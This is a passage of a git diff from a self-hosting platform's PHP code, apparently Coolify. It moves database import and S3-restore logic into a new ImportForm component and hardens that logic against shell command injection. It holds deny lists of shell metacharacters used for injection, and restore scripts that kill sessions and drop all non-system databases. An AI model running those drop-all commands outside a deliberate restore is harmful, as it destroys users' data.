$s3Storage->testConnection(); - - // Build S3 disk configuration - $disk = Storage::build([ - 'driver' => 's3', - 'region' => $s3Storage->region, - 'key' => $s3Storage->key, - 'secret' => $s3Storage->secret, - 'bucket' => $s3Storage->bucket, - 'endpoint' => $s3Storage->endpoint, - 'use_path_style_endpoint' => true, - ]); - - // Check if file exists - if (! $disk->exists($cleanPath)) { - $this->dispatch('error', 'File not found in S3. Please check the path.'); - - return; - } - - // Get file size - $this->s3FileSize = $disk->size($cleanPath); - - $this->dispatch('success', 'File found in S3. Size: '.formatBytes($this->s3FileSize)); - } catch (\Throwable $e) { - $this->s3FileSize = null; - - return handleError($e, $this); - } - } - - public function restoreFromS3(string $password = ''): bool|string - { - if (! verifyPasswordConfirmation($password, $this)) { - return 'The provided password is incorrect.'; - } - - $this->authorize('update', $this->resource); - - if (! ValidationPatterns::isValidContainerName($this->container)) { - $this->dispatch('error', 'Invalid container name.'); - - return true; - } - - if (! $this->s3StorageId || blank($this->s3Path)) { - $this->dispatch('error', 'Please select S3 storage and provide a path first.'); - - return true; - } - - if (is_null($this->s3FileSize)) { - $this->dispatch('error', 'Please check the file first by clicking "Check File".'); - - return true; - } - - if (! $this->server) { - $this->dispatch('error', 'Server not found. Please refresh the page.'); - - return true; - } - - try { - $this->importRunning = true; - - $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId); - - $key = $s3Storage->key; - $secret = $s3Storage->secret; - $bucket = $s3Storage->bucket; - $endpoint = $s3Storage->endpoint; - - // Validate bucket name to prevent command injection - if (! $this->validateBucketName($bucket)) { - $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.'); - - return true; - } - - // Clean the S3 path - $cleanPath = ltrim($this->s3Path, '/'); - - // Validate the S3 path to prevent command injection - if (! $this->validateS3Path($cleanPath)) { - $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); - - return true; - } - - // Get helper image - $helperImage = config('constants.coolify.helper_image'); - $latestVersion = getHelperVersion(); - $fullImageName = "{$helperImage}:{$latestVersion}"; - - // Get the database destination network - if ($this->resource->getMorphClass() === ServiceDatabase::class) { - $destinationNetwork = $this->resource->service->destination->network ?? 'coolify'; - } else { - $destinationNetwork = $this->resource->destination->network ?? 'coolify'; - } - - // Generate unique names for this operation - $containerName = "s3-restore-{$this->resourceUuid}"; - $helperTmpPath = '/tmp/'.basename($cleanPath); - $serverTmpPath = "/tmp/s3-restore-{$this->resourceUuid}-".basename($cleanPath); - $containerTmpPath = "/tmp/restore_{$this->resourceUuid}-".basename($cleanPath); - $scriptPath = "/tmp/restore_{$this->resourceUuid}.sh"; - - // Prepare all commands in sequence - $commands = []; - - // 1. Clean up any existing helper container and temp files from previous runs - $commands[] = "docker rm -f {$containerName} 2>/dev/null || true"; - $commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true"; - $commands[] = "docker exec {$this->container} rm -f {$containerTmpPath} {$scriptPath} 2>/dev/null || true"; - - // 2. Start helper container on the database network - $commands[] = "docker run -d --network {$destinationNetwork} --name {$containerName} {$fullImageName} sleep 3600"; - - // 3. Configure S3 access in helper container - $escapedEndpoint = escapeshellarg($endpoint); - $escapedKey = escapeshellarg($key); - $escapedSecret = escapeshellarg($secret); - $commands[] = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}"; - - // 4. Check file exists in S3 (bucket and path already validated above) - $escapedBucket = escapeshellarg($bucket); - $escapedCleanPath = escapeshellarg($cleanPath); - $escapedS3Source = escapeshellarg("s3temp/{$bucket}/{$cleanPath}"); - $commands[] = "docker exec {$containerName} mc stat {$escapedS3Source}"; - - // 5. Download from S3 to helper container (progress shown by default) - $escapedHelperTmpPath = escapeshellarg($helperTmpPath); - $commands[] = "docker exec {$containerName} mc cp {$escapedS3Source} {$escapedHelperTmpPath}"; - - // 6. Copy from helper to server, then immediately to database container - $commands[] = "docker cp {$containerName}:{$helperTmpPath} {$serverTmpPath}"; - $commands[] = "docker cp {$serverTmpPath} {$this->container}:{$containerTmpPath}"; - - // 7. Cleanup helper container and server temp file immediately (no longer needed) - $commands[] = "docker rm -f {$containerName} 2>/dev/null || true"; - $commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true"; - - // 8. Build and execute restore command inside database container - $restoreCommand = $this->buildRestoreCommand($containerTmpPath); - - $restoreCommandBase64 = base64_encode($restoreCommand); - $commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}"; - $commands[] = "chmod +x {$scriptPath}"; - $commands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}"; - - // 9. Execute restore and cleanup temp files immediately after completion - $commands[] = "docker exec {$this->container} sh -c '{$scriptPath} && rm -f {$containerTmpPath} {$scriptPath}'"; - $commands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'"; - - // Execute all commands with cleanup event (as safety net for edge cases) - $activity = remote_process($commands, $this->server, ignore_errors: true, callEventOnFinish: 'S3RestoreJobFinished', callEventData: [ - 'containerName' => $containerName, - 'serverTmpPath' => $serverTmpPath, - 'scriptPath' => $scriptPath, - 'containerTmpPath' => $containerTmpPath, - 'container' => $this->container, - 'serverId' => $this->server->id, - ]); - - // Track the activity ID - $this->activityId = $activity->id; - - // Dispatch activity to the monitor and open slide-over - $this->dispatch('activityMonitor', $activity->id); - $this->dispatch('databaserestore'); - $this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...'); - } catch (\Throwable $e) { - $this->importRunning = false; - handleError($e, $this); - - return true; - } - - return true; - } - - public function buildRestoreCommand(string $tmpPath): string - { - $morphClass = $this->resource->getMorphClass(); - - // Handle ServiceDatabase by checking the database type - if ($morphClass === ServiceDatabase::class) { - $dbType = $this->resource->databaseType(); - if (str_contains($dbType, 'mysql')) { - $morphClass = 'mysql'; - } elseif (str_contains($dbType, 'mariadb')) { - $morphClass = 'mariadb'; - } elseif (str_contains($dbType, 'postgres')) { - $morphClass = 'postgresql'; - } elseif (str_contains($dbType, 'mongo')) { - $morphClass = 'mongodb'; - } - } - - switch ($morphClass) { - case StandaloneMariadb::class: - case 'mariadb': - $restoreCommand = $this->mariadbRestoreCommand; - if ($this->dumpAll) { - $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD \${MARIADB_DATABASE:-default}"; - } else { - $restoreCommand .= " < {$tmpPath}"; - } - break; - case StandaloneMysql::class: - case 'mysql': - $restoreCommand = $this->mysqlRestoreCommand; - if ($this->dumpAll) { - $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD \${MYSQL_DATABASE:-default}"; - } else { - $restoreCommand .= " < {$tmpPath}"; - } - break; - case StandalonePostgresql::class: - case 'postgresql': - $restoreCommand = $this->postgresqlRestoreCommand; - if ($this->dumpAll) { - $restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \${POSTGRES_USER} -d \${POSTGRES_DB:-\${POSTGRES_USER:-postgres}}"; - } else { - $restoreCommand .= " {$tmpPath}"; - } - break; - case StandaloneMongodb::class: - case 'mongodb': - $restoreCommand = $this->mongodbRestoreCommand; - if ($this->dumpAll === false) { - $restoreCommand .= "{$tmpPath}"; - } - break; - default: - $restoreCommand = ''; - } - - return $restoreCommand; + return false; } } diff --git a/app/Livewire/Project/Database/ImportForm.php b/app/Livewire/Project/Database/ImportForm.php new file mode 100644 index 000000000..ccc7b347d --- /dev/null +++ b/app/Livewire/Project/Database/ImportForm.php @@ -0,0 +1,825 @@ +', // Redirect + '<', // Redirect + "\n", // Newline + "\r", // Carriage return + "\0", // Null byte + "'", // Single quote + '"', // Double quote + '\\', // Backslash + ]; + + foreach ($dangerousPatterns as $pattern) { + if (str_contains($path, $pattern)) { + return false; + } + } + + // Allow alphanumerics, dots, dashes, underscores, slashes, spaces, plus, equals, at + return preg_match('/^[a-zA-Z0-9.\-_\/\s+@=]+$/', $path) === 1; + } + + /** + * Validate that a string is safe for use as a file path on the server. + */ + private function validateServerPath(string $path): bool + { + // Must be an absolute path + if (! str_starts_with($path, '/')) { + return false; + } + + // Must not contain dangerous shell metacharacters or command injection patterns + $dangerousPatterns = [ + '..', // Directory traversal + '$(', // Command substitution + '`', // Backtick command substitution + '|', // Pipe + ';', // Command separator + '&', // Background/AND + '>', // Redirect + '<', // Redirect + "\n", // Newline + "\r", // Carriage return + "\0", // Null byte + "'", // Single quote + '"', // Double quote + '\\', // Backslash + ]; + + foreach ($dangerousPatterns as $pattern) { + if (str_contains($path, $pattern)) { + return false; + } + } + + // Allow alphanumerics, dots, dashes, underscores, slashes, and spaces + return preg_match('/^[a-zA-Z0-9.\-_\/\s]+$/', $path) === 1; + } + + public bool $unsupported = false; + + // Store IDs instead of models for proper Livewire serialization + #[Locked] + public ?int $resourceId = null; + + #[Locked] + public ?string $resourceType = null; + + #[Locked] + public ?int $serverId = null; + + // View-friendly properties to avoid computed property access in Blade + #[Locked] + public string $resourceUuid = ''; + + public string $resourceStatus = ''; + + #[Locked] + public string $resourceDbType = ''; + + public array $parameters = []; + + public array $containers = []; + + public bool $scpInProgress = false; + + public bool $importRunning = false; + + public ?string $filename = null; + + public ?string $filesize = null; + + public bool $isUploading = false; + + public int $progress = 0; + + public bool $error = false; + + #[Locked] + public string $container; + + public array $importCommands = []; + + public bool $dumpAll = false; + + public string $restoreCommandText = ''; + + public string $customLocation = ''; + + public ?int $activityId = null; + + public string $postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}'; + + public string $mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE'; + + public string $mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE'; + + public string $mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive='; + + // S3 Restore properties + public array $availableS3Storages = []; + + public ?int $s3StorageId = null; + + public string $s3Path = ''; + + public ?int $s3FileSize = null; + + #[Computed] + public function resource() + { + if ($this->resourceId === null || $this->resourceType === null) { + return null; + } + + return $this->resourceType::find($this->resourceId); + } + + #[Computed] + public function server() + { + if ($this->serverId === null) { + return null; + } + + return Server::ownedByCurrentTeam()->find($this->serverId); + } + + protected $listeners = [ + 'slideOverClosed' => 'resetActivityId', + ]; + + public function resetActivityId() + { + $this->activityId = null; + } + + public function mount() + { + $this->parameters = get_route_parameters(); + $this->getContainers(); + $this->loadAvailableS3Storages(); + } + + public function updatedDumpAll($value) + { + $morphClass = $this->resource->getMorphClass(); + + // Handle ServiceDatabase by checking the database type + if ($morphClass === ServiceDatabase::class) { + $dbType = $this->resource->databaseType(); + if (str_contains($dbType, 'mysql')) { + $morphClass = 'mysql'; + } elseif (str_contains($dbType, 'mariadb')) { + $morphClass = 'mariadb'; + } elseif (str_contains($dbType, 'postgres')) { + $morphClass = 'postgresql'; + } + } + + switch ($morphClass) { + case StandaloneMariadb::class: + case 'mariadb': + if ($value === true) { + $this->mariadbRestoreCommand = <<<'EOD' +for pid in $(mariadb -u root -p$MARIADB_ROOT_PASSWORD -N -e "SELECT id FROM information_schema.processlist WHERE user != 'root';"); do + mariadb -u root -p$MARIADB_ROOT_PASSWORD -e "KILL $pid" 2>/dev/null || true +done && \ +mariadb -u root -p$MARIADB_ROOT_PASSWORD -N -e "SELECT CONCAT('DROP DATABASE IF EXISTS \`',schema_name,'\`;') FROM information_schema.schemata WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','sys');" | mariadb -u root -p$MARIADB_ROOT_PASSWORD && \ +mariadb -u root -p$MARIADB_ROOT_PASSWORD -e "CREATE DATABASE IF NOT EXISTS \`${MARIADB_DATABASE:-default}\`;" && \ +(gunzip -cf $tmpPath 2>/dev/null || cat $tmpPath) | sed -e '/^CREATE DATABASE/d' -e '/^USE \`mysql\`/d' | mariadb -u root -p$MARIADB_ROOT_PASSWORD ${MARIADB_DATABASE:-default} +EOD; + $this->restoreCommandText = $this->mariadbRestoreCommand.' && (gunzip -cf 2>/dev/null || cat ) | mariadb -u root -p$MARIADB_ROOT_PASSWORD ${MARIADB_DATABASE:-default}'; + } else { + $this->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE'; + } + break; + case StandaloneMysql::class: + case 'mysql': + if ($value === true) { + $this->mysqlRestoreCommand = <<<'EOD' +for pid in $(mysql -u root -p$MYSQL_ROOT_PASSWORD -N -e "SELECT id FROM information_schema.processlist WHERE user != 'root';"); do + mysql -u root -p$MYSQL_ROOT_PASSWORD -e "KILL $pid" 2>/dev/null || true +done && \ +mysql -u root -p$MYSQL_ROOT_PASSWORD -N -e "SELECT CONCAT('DROP DATABASE IF EXISTS \`',schema_name,'\`;') FROM information_schema.schemata WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','sys');" | mysql -u root -p$MYSQL_ROOT_PASSWORD && \ +mysql -u root -p$MYSQL_ROOT_PASSWORD -e "CREATE DATABASE IF NOT EXISTS \`${MYSQL_DATABASE:-default}\`;" && \ +(gunzip -cf $tmpPath 2>/dev/null || cat $tmpPath) | sed -e '/^CREATE DATABASE/d' -e '/^USE \`mysql\`/d' | mysql -u root -p$MYSQL_ROOT_PASSWORD ${MYSQL_DATABASE:-default} +EOD; + $this->restoreCommandText = $this->mysqlRestoreCommand.' && (gunzip -cf 2>/dev/null || cat ) | mysql -u root -p$MYSQL_ROOT_PASSWORD ${MYSQL_DATABASE:-default}'; + } else { + $this->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE'; + } + break; + case StandalonePostgresql::class: + case 'postgresql': + if ($value === true) { + $this->postgresqlRestoreCommand = <<<'EOD' +psql -U ${POSTGRES_USER} -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && \ +psql -U ${POSTGRES_USER} -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U ${POSTGRES_USER} --if-exists {} && \ +createdb -U ${POSTGRES_USER} ${POSTGRES_DB:-${POSTGRES_USER:-postgres}} +EOD; + $this->restoreCommandText = $this->postgresqlRestoreCommand.' && (gunzip -cf 2>/dev/null || cat ) | psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}'; + } else { + $this->postgresqlRestoreCommand = 'pg_restore -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}'; + } + break; + } + + } + + public function getContainers() + { + $this->containers = []; + $teamId = data_get(auth()->user()->currentTeam(), 'id'); + + // Try to find resource by route parameter + $databaseUuid = data_get($this->parameters, 'database_uuid'); + $stackServiceUuid = data_get($this->parameters, 'stack_service_uuid'); + + $resource = null; + if ($databaseUuid) { + // Standalone database route + $resource = getResourceByUuid($databaseUuid, $teamId); + if (is_null($resource)) { + abort(404); + } + } elseif ($stackServiceUuid) { + // ServiceDatabase route - look up the service database + $serviceUuid = data_get($this->parameters, 'service_uuid'); + $project = currentTeam() + ->projects() + ->select('id', 'uuid', 'team_id') + ->where('uuid', data_get($this->parameters, 'project_uuid')) + ->firstOrFail(); + $environment = $project->environments() + ->select('id', 'uuid', 'name', 'project_id') + ->where('uuid', data_get($this->parameters, 'environment_uuid')) + ->firstOrFail(); + $service = $environment->services()->whereUuid($serviceUuid)->firstOrFail(); + $resource = $service->databases()->whereUuid($stackServiceUuid)->first(); + if (is_null($resource)) { + abort(404); + } + } else { + abort(404); + } + + $this->authorize('view', $resource); + + // Store IDs for Livewire serialization + $this->resourceId = $resource->id; + $this->resourceType = get_class($resource); + + // Store view-friendly properties + $this->resourceStatus = $resource->status ?? ''; + + // Handle ServiceDatabase server access differently + if ($resource->getMorphClass() === ServiceDatabase::class) { + $server = $resource->service?->server; + if (! $server) { + abort(404, 'Server not found for this service database.'); + } + $this->serverId = $server->id; + $this->container = $resource->name.'-'.$resource->service->uuid; + $this->resourceUuid = $resource->uuid; // Use ServiceDatabase's own UUID + + // Determine database type for ServiceDatabase + $dbType = $resource->databaseType(); + if (str_contains($dbType, 'postgres')) { + $this->resourceDbType = 'standalone-postgresql'; + } elseif (str_contains($dbType, 'mysql')) { + $this->resourceDbType = 'standalone-mysql'; + } elseif (str_contains($dbType, 'mariadb')) { + $this->resourceDbType = 'standalone-mariadb'; + } elseif (str_contains($dbType, 'mongo')) { + $this->resourceDbType = 'standalone-mongodb'; + } else { + $this->resourceDbType = $dbType; + } + } else { + $server = $resource->destination?->server; + if (! $server) { + abort(404, 'Server not found for this database.'); + } + $this->serverId = $server->id; + $this->container = $resource->uuid; + $this->resourceUuid = $resource->uuid; + $this->resourceDbType = $resource->type(); + } + + if (str($resource->status)->startsWith('running')) { + $this->containers[] = $this->container; + } + + if ( + $resource->getMorphClass() === StandaloneRedis::class || + $resource->getMorphClass() === StandaloneKeydb::class || + $resource->getMorphClass() === StandaloneDragonfly::class || + $resource->getMorphClass() === StandaloneClickhouse::class + ) { + $this->unsupported = true; + } + + // Mark unsupported ServiceDatabase types (Redis, KeyDB, etc.) + if ($resource->getMorphClass() === ServiceDatabase::class) { + $dbType = $resource->databaseType(); + if (str_contains($dbType, 'redis') || str_contains($dbType, 'keydb') || + str_contains($dbType, 'dragonfly') || str_contains($dbType, 'clickhouse')) { + $this->unsupported = true; + } + } + } + + public function checkFile() + { + if (filled($this->customLocation)) { + // Validate the custom location to prevent command injection + if (! $this->validateServerPath($this->customLocation)) { + $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); + + return; + } + + if (! $this->server) { + $this->dispatch('error', 'Server not found. Please refresh the page.'); + + return; + } + + try { + $escapedPath = escapeshellarg($this->customLocation); + $result = instant_remote_process(["ls -l {$escapedPath}"], $this->server, throwError: false); + if (blank($result)) { + $this->dispatch('error', 'The file does not exist or has been deleted.'); + + return; + } + $this->filename = $this->customLocation; + $this->dispatch('success', 'The file exists.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + } + + public function runImport(string $password = ''): bool|string + { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + + $this->authorize('update', $this->resource); + + if (! ValidationPatterns::isValidContainerName($this->container)) { + $this->dispatch('error', 'Invalid container name.'); + + return true; + } + + if ($this->filename === '') { + $this->dispatch('error', 'Please select a file to import.'); + + return true; + } + + if (! $this->server) { + $this->dispatch('error', 'Server not found. Please refresh the page.'); + + return true; + } + + try { + $this->importRunning = true; + $this->importCommands = []; + $backupFileName = "upload/{$this->resourceUuid}/restore"; + + // Check if an uploaded file exists first (takes priority over custom location) + if (Storage::exists($backupFileName)) { + $path = Storage::path($backupFileName); + $tmpPath = '/tmp/'.basename($backupFileName).'_'.$this->resourceUuid; + instant_scp($path, $tmpPath, $this->server); + Storage::delete($backupFileName); + $this->importCommands[] = "docker cp {$tmpPath} {$this->container}:{$tmpPath}"; + } elseif (filled($this->customLocation)) { + // Validate the custom location to prevent command injection + if (! $this->validateServerPath($this->customLocation)) { + $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters.'); + + return true; + } + $tmpPath = '/tmp/restore_'.$this->resourceUuid; + $escapedCustomLocation = escapeshellarg($this->customLocation); + $this->importCommands[] = "docker cp {$escapedCustomLocation} {$this->container}:{$tmpPath}"; + } else { + $this->dispatch('error', 'The file does not exist or has been deleted.'); + + return true; + } + + // Copy the restore command to a script file + $scriptPath = "/tmp/restore_{$this->resourceUuid}.sh"; + + $restoreCommand = $this->buildRestoreCommand($tmpPath); + + $restoreCommandBase64 = base64_encode($restoreCommand); + $this->importCommands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}"; + $this->importCommands[] = "chmod +x {$scriptPath}"; + $this->importCommands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}"; + + $this->importCommands[] = "docker exec {$this->container} sh -c '{$scriptPath}'"; + $this->importCommands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'"; + + if (! empty($this->importCommands)) { + $activity = remote_process($this->importCommands, $this->server, ignore_errors: true, callEventOnFinish: 'RestoreJobFinished', callEventData: [ + 'scriptPath' => $scriptPath, + 'tmpPath' => $tmpPath, + 'container' => $this->container, + 'serverId' => $this->server->id, + ]); + + // Track the activity ID + $this->activityId = $activity->id; + + // Dispatch activity to the monitor and open slide-over + $this->dispatch('activityMonitor', $activity->id); + $this->dispatch('databaserestore'); + } + } catch (\Throwable $e) { + handleError($e, $this); + + return true; + } finally { + $this->filename = null; + $this->importCommands = []; + } + + return true; + } + + public function loadAvailableS3Storages() + { + try { + $this->availableS3Storages = S3Storage::ownedByCurrentTeam(['id', 'name', 'description']) + ->where('is_usable', true) + ->get() + ->map(fn ($s) => ['id' => $s->id, 'name' => $s->name, 'description' => $s->description]) + ->toArray(); + } catch (\Throwable $e) { + $this->availableS3Storages = []; + } + } + + public function updatedS3Path($value) + { + // Reset validation state when path changes + $this->s3FileSize = null; + + // Ensure path starts with a slash + if ($value !== null && $value !== '') { + $this->s3Path = str($value)->trim()->start('/')->value(); + } + } + + public function updatedS3StorageId() + { + // Reset validation state when storage changes + $this->s3FileSize = null; + } + + public function checkS3File() + { + if (! $this->s3StorageId) { + $this->dispatch('error', 'Please select an S3 storage.'); + + return; + } + + if (blank($this->s3Path)) { + $this->dispatch('error', 'Please provide an S3 path.'); + + return; + } + + // Clean the path (remove leading slash if present) + $cleanPath = ltrim($this->s3Path, '/'); + + // Validate the S3 path early to prevent command injection in subsequent operations + if (! $this->validateS3Path($cleanPath)) { + $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); + + return; + } + + try { + $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId); + + // Validate bucket name early + if (! $this->validateBucketName($s3Storage->bucket)) { + $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.'); + + return; + } + + // Test connection + $s3Storage->testConnection(); + + // Build S3 disk configuration + $disk = Storage::build([ + 'driver' => 's3', + 'region' => $s3Storage->region, + 'key' => $s3Storage->key, + 'secret' => $s3Storage->secret, + 'bucket' => $s3Storage->bucket, + 'endpoint' => $s3Storage->endpoint, + 'use_path_style_endpoint' => true, + ]); + + // Check if file exists + if (! $disk->exists($cleanPath)) { + $this->dispatch('error', 'File not found in S3. Please check the path.'); + + return; + } + + // Get file size + $this->s3FileSize = $disk->size($cleanPath); + + $this->dispatch('success', 'File found in S3. Size: '.formatBytes($this->s3FileSize)); + } catch (\Throwable $e) { + $this->s3FileSize = null; + + return handleError($e, $this); + } + } + + public function restoreFromS3(string $password = ''): bool|string + { + if (! verifyPasswordConfirmation($password, $this)) { + return 'The provided password is incorrect.'; + } + + $this->authorize('update', $this->resource); + + if (! ValidationPatterns::isValidContainerName($this->container)) { + $this->dispatch('error', 'Invalid container name.'); + + return true; + } + + if (! $this->s3StorageId || blank($this->s3Path)) { + $this->dispatch('error', 'Please select S3 storage and provide a path first.'); + + return true; + } + + if (is_null($this->s3FileSize)) { + $this->dispatch('error', 'Please check the file first by clicking "Check File".'); + + return true; + } + + if (! $this->server) { + $this->dispatch('error', 'Server not found. Please refresh the page.'); + + return true; + } + + try { + $this->importRunning = true; + + $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId); + + $key = $s3Storage->key; + $secret = $s3Storage->secret; + $bucket = $s3Storage->bucket; + $endpoint = $s3Storage->endpoint; + + // Validate bucket name to prevent command injection + if (! $this->validateBucketName($bucket)) { + $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.'); + + return true; + } + + // Clean the S3 path + $cleanPath = ltrim($this->s3Path, '/'); + + // Validate the S3 path to prevent command injection + if (! $this->validateS3Path($cleanPath)) { + $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); + + return true; + } + + // Get helper image + $helperImage = config('constants.coolify.helper_image'); + $latestVersion = getHelperVersion(); + $fullImageName = "{$helperImage}:{$latestVersion}"; + + // Get the database destination network + if ($this->resource->getMorphClass() === ServiceDatabase::class) { + $destinationNetwork = $this->resource->service->destination->network ?? 'coolify'; + } else { + $destinationNetwork = $this->resource->destination->network ?? 'coolify'; + } + + // Generate unique names for this operation + $containerName = "s3-restore-{$this->resourceUuid}"; + $helperTmpPath = '/tmp/'.basename($cleanPath); + $serverTmpPath = "/tmp/s3-restore-{$this->resourceUuid}-".basename($cleanPath); + $containerTmpPath = "/tmp/restore_{$this->resourceUuid}-".basename($cleanPath); + $scriptPath = "/tmp/restore_{$this->resourceUuid}.sh"; + + $escapedServerTmpPath = escapeshellarg($serverTmpPath); + $escapedContainerTmpPath = escapeshellarg($containerTmpPath); + $escapedScriptPath = escapeshellarg($scriptPath); + $escapedHelperContainerPath = escapeshellarg("{$containerName}:{$helperTmpPath}"); + $escapedDatabaseContainerTmpPath = escapeshellarg("{$this->container}:{$containerTmpPath}"); + $escapedDatabaseContainerScriptPath = escapeshellarg("{$this->container}:{$scriptPath}"); + $restoreAndCleanupCommand = escapeshellarg("{$escapedScriptPath} && rm -f {$escapedContainerTmpPath} {$escapedScriptPath}"); + + // Prepare all commands in sequence + $commands = []; + + // 1. Clean up any existing helper container and temp files from previous runs + $commands[] = "docker rm -f {$containerName} 2>/dev/null || true"; + $commands[] = "rm -f {$escapedServerTmpPath} 2>/dev/null || true"; + $commands[] = "docker exec {$this->container} rm -f {$escapedContainerTmpPath} {$escapedScriptPath} 2>/dev/null || true"; + + // 2. Start helper container on the database network + $commands[] = "docker run -d --network {$destinationNetwork} --name {$containerName} {$fullImageName} sleep 3600"; + + // 3. Configure S3 access in helper container + $escapedEndpoint = escapeshellarg($endpoint); + $escapedKey = escapeshellarg($key); + $escapedSecret = escapeshellarg($secret); + $commands[] = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}"; + + // 4. Check file exists in S3 (bucket and path already validated above) + $escapedS3Source = escapeshellarg("s3temp/{$bucket}/{$cleanPath}"); + $commands[] = "docker exec {$containerName} mc stat {$escapedS3Source}"; + + // 5. Download from S3 to helper container (progress shown by default) + $escapedHelperTmpPath = escapeshellarg($helperTmpPath); + $commands[] = "docker exec {$containerName} mc cp {$escapedS3Source} {$escapedHelperTmpPath}"; + + // 6. Copy from helper to server, then immediately to database container + $commands[] = "docker cp {$escapedHelperContainerPath} {$escapedServerTmpPath}"; + $commands[] = "docker cp {$escapedServerTmpPath} {$escapedDatabaseContainerTmpPath}"; + + // 7. Cleanup helper container and server temp file immediately (no longer needed) + $commands[] = "docker rm -f {$containerName} 2>/dev/null || true"; + $commands[] = "rm -f {$escapedServerTmpPath} 2>/dev/null || true"; + + // 8. Build and execute restore command inside database container + $restoreCommand = $this->buildRestoreCommand($containerTmpPath); + + $restoreCommandBase64 = base64_encode($restoreCommand); + $commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$escapedScriptPath}"; + $commands[] = "chmod +x {$escapedScriptPath}"; + $commands[] = "docker cp {$escapedScriptPath} {$escapedDatabaseContainerScriptPath}"; + + // 9. Execute restore and cleanup temp files immediately after completion + $commands[] = "docker exec {$this->container} sh -c {$restoreAndCleanupCommand}"; + $commands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'"; + + // Execute all commands with cleanup event (as safety net for edge cases) + $activity = remote_process($commands, $this->server, ignore_errors: true, callEventOnFinish: 'S3RestoreJobFinished', callEventData: [ + 'containerName' => $containerName, + 'serverTmpPath' => $serverTmpPath, + 'scriptPath' => $scriptPath, + 'containerTmpPath' => $containerTmpPath, + 'container' => $this->container, + 'serverId' => $this->server->id, + ]); + + // Track the activity ID + $this->activityId = $activity->id; + + // Dispatch activity to the monitor and open slide-over + $this->dispatch('activityMonitor', $activity->id); + $this->dispatch('databaserestore'); + $this->dispatch('info', 'Restoring database from S3. Progress will be shown in the activity monitor...'); + } catch (\Throwable $e) { + $this->importRunning = false; + handleError($e, $this); + + return true; + } + + return true; + } + + public function buildRestoreCommand(string $tmpPath): string + { + $escapedTmpPath = escapeshellarg($tmpPath); + $morphClass = $this->resource->getMorphClass(); + + // Handle ServiceDatabase by checking the database type + if ($morphClass === ServiceDatabase::class) { + $dbType = $this->resource->databaseType(); + if (str_contains($dbType, 'mysql')) { + $morphClass = 'mysql'; + } elseif (str_contains($dbType, 'mariadb')) { + $morphClass = 'mariadb'; + } elseif (str_contains($dbType, 'postgres')) { + $morphClass = 'postgresql'; + } elseif (str_contains($dbType, 'mongo')) { + $morphClass = 'mongodb'; + } + } + + switch ($morphClass) { + case StandaloneMariadb::class: + case 'mariadb': + $restoreCommand = $this->mariadbRestoreCommand; + if ($this->dumpAll) { + $restoreCommand .= " && (gunzip -cf {$escapedTmpPath} 2>/dev/null || cat {$escapedTmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD \${MARIADB_DATABASE:-default}"; + } else { + $restoreCommand .= " < {$escapedTmpPath}"; + } + break; + case StandaloneMysql::class: + case 'mysql': + $restoreCommand = $this->mysqlRestoreCommand; + if ($this->dumpAll) { + $restoreCommand .= " && (gunzip -cf {$escapedTmpPath} 